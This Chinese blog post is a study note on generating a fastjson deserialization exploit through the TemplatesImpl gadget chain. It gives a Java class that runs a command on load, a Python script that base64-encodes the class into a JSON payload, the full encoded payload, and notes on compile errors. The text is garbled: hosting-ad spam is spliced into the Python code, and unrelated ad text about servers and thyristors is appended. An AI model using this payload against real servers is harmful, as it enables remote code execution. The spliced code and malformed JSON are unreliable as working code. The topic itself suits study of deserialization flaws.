一、说明
在fastJson反序列化学习笔记 一文中提到 TemplatesImpl利用链 需要将原始PAYLOAD编译为java字节码,也就是class文件,然后再进行BASE64编码,从而得到最终的PAYLOAD文件,本篇回顾一下如何实现这个过程。
二、原始PAYLAOD文件
文件命名为Shell.java,内容如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Shell extends AbstractTranslet {
public Shell(){
try {
Runtime.getRuntime().exec(“calc”);
}catch (IOException e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
三、编译为class字节码
C:Program FilesJavajdk1.8.0_66bin>javac
D:webshellfastjsonpocShell.java
得到Shell.class文件
四、将字节码转换为base64编码
这里使用一个python脚本,同时将编码后的内容按照PAYLAOD的格式输出,代码如下:
import
base64
fin =
open(r”Shell.class”,”rb”)
byte =
fin.read()
fout =
base64.b64encode(byte).decode(“utf-8”)
poc =
‘{“@type”:”com.sun.org.apache.xalan.i服务器托管网nternal.xsltc.trax.TemplatesImpl”,”_bytecodes”:[“%s”],”_name”:”a.b”,”_tfactory”:{},”_outputProperties”:{},””_version”:”1.0″,”allowedProtocols”服务器托管网:”all”}’%
fout
print(poc)
脚本命名为encode.py
D:webshellfastjsonpoc>python encode.py
{“@type”:”com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,”_bytecodes”:[“yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAB4HABwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAgAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAAJAAoHACEMACIAIwEABGNhbGMMACQAJQEAE2phdmEvaW8vSU9FeGNlcHRpb24MACYACgEABVNoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAYAACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAACwAEAA0ADQAQABAADgARAA8AFQARAA0AAAAQAAL/ABAAAQcADgABBwAPBAABABAAEQACAAsAAAAZAAAAAwAAAAGxAAAAAQAMAAAABgABAAAAFgASAAAABAABABMAAQAQABQAAgALAAAAGQAAAAQAAAABsQAAAAEADAAAAAYAAQAAABsAEgAAAAQAAQATAAEAFQAAAAIAFg==”],”_name”:”a.b”,”_tfactory”:{},”_outputProperties”:{},””_version”:”1.0″,”allowedProtocols”:”all”}
如上,得到需要的PAYLOAD信息。
五、遇到的问题
1、 报错,如下:
C:Usersyangqiang>javac
D:学习java源代码IdeaProjectsSpringMVCStudyspringmvc-05-jsonsrcmainjavacomyangshellShell.java
D:学习java源代码IdeaProjectsSpringMVCStudyspringmvc-05-jsonsrcmainjavacomyangshellShell.java:3:
错误: 程序包
com.sun.org.apache.xalan.internal.xsltc 不可见
import
com.sun.org.apache.xalan.internal.xsltc.DOM;
^
(程序包
com.sun.org.apache.xalan.internal.xsltc 已在模块 java.xml 中声明, 但该模块未导出它)
D:学习java源代码IdeaProjectsSpringMVCStudyspringmvc-05-jsonsrcmainjavacomyangshellShell.java:4:
错误: 程序包
com.sun.org.apache.xalan.internal.xsltc 不可见
import
com.sun.org.apache.xalan.internal.xsltc.TransletException;
^
(程序包
com.sun.org.apache.xalan.internal.xsltc 已在模块 java.xml 中声明, 但该模块未导出它)
D:学习java源代码IdeaProjectsSpringMVCStudyspringmvc-05-jsonsrcmainjavacomyangshellShell.java:5:
错误: 程序包 com.sun.org.apache.xalan.internal.xsltc.runtime
不可见
import
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
^
(程序包
com.sun.org.apache.xalan.internal.xsltc.runtime 已在模块
java.xml 中声明, 但该模块未导出它)
D:学习java源代码IdeaProjectsSpringMVCStudyspringmvc-05-jsonsrcmainjavacomyangshellShell.java:6:
错误: 程序包
com.sun.org.apache.xml.internal.dtm 不可见
import
com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
^
(程序包
com.sun.org.apache.xml.internal.dtm 已在模块 java.xml 中声明, 但该模块未将它导出到未命名模块)
D:学习java源代码IdeaProjectsSpringMVCStudyspringmvc-05-jsonsrcmainjavacomyangshellShell.java:7:
错误: 程序包
com.sun.org.apache.xml.internal.serializer 不可见
import
com.sun.org.apache.xml.internal.serializer.SerializationHandler;
^
(程序包
com.sun.org.apache.xml.internal.serializer 已在模块
java.xml 中声明, 但该模块未导出它)
D:学习java源代码IdeaProjectsSpringMVCStudyspringmvc-05-jsonsrcmainjavacomyangshellShell.java:21:
错误: 方法 不会覆盖或实现超类型的方法
@Override
^
D:学习java源代码IdeaProjectsSpringMVCStudyspringmvc-05-jsonsrcmainjavacomyangshellShell.java:26:
错误: 方法 不会覆盖或实现超类型的方法
@Override
^
7 个错误
这个错误我理解应该是java版本不匹配,找不到这个包。
2、 报错,信息如下:
C:Program FilesJavajdk1.8.0_66bin>javac D:webshellfastjson
pocShell.java
javac: 无效的标记: D:webshellfastjson
用法: javac
-help 用于列出可能的选项
这个错误查阅百度,说是JAVA环境变量的问题,我这里是没有问题的,猜测是因为路径不正确,里面有空格,将空格删除后正常。
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net
机房租用,北京机房租用,IDC机房托管, http://www.fwqtg.net
可控硅和继电器在电子设备和电力系统中都有广泛的应用,它们都可以作为开关元件来控制电路的通断,但它们的作用和特性也有所不同。 可控硅是一种半导体器件,它的导通和关断状态可以通过控制其门极电压来调节。在可控硅导通时,电流可以自由地在门极和阴极之间流动,而在关断状态…